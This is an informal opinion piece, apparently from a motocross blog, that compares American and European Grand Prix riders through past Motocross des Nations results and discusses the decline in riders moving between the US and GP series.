Remember Budds Creek in 2007 where Team USA completely dominated the GP riders, Villopoto going 1-1, RC 1-3 and Ferry 2-4, OUCH. Or even Thunder Valley in 2010, where Dungey went 1-1 to led Team USA to an easy victory. Damn, I even remember 1987 when Ricky Johnson and Jeff Ward dominated the euros in the mud at Unadilla. Yes, Redbud was a really bad day and maybe it has changed the way both sides now look at each other.

Now its Max Anstie going 1-1, Glenn Coldenhoff going 1-1 and expect Jeffrey Herlings to go 1-1 in Assen. Thats how much the sport has changed in recent years.

We also see the interest from the GP riders on heading to race full time in America a lot less in recent times, so I guess the whole swapping teams across the Atlantic is working in both ways. Tim Gajser wants to race the Monster Energy Cup, but NO WAY he races full time in USA in the future, because he loves home too much. Same goes with Herlings, Cairoli, Prado, Seewer, Paulin, Desalle, and the rest. They don’t want to move to America like Roczen, Musquin, Reed, Tortelli, or Vuillemin did. Even the recent Thomas Covington and Hunter Lawrence move hasn't been too big a success, and there are even rumors that Covington is heading back to Europe for 2020.

So, while the level of competition is very close, and both sides of the Atlantic Ocean have great riders and great series, the swapping backwards and forward just isn’t happening of late and it isn’t a good sign for either series.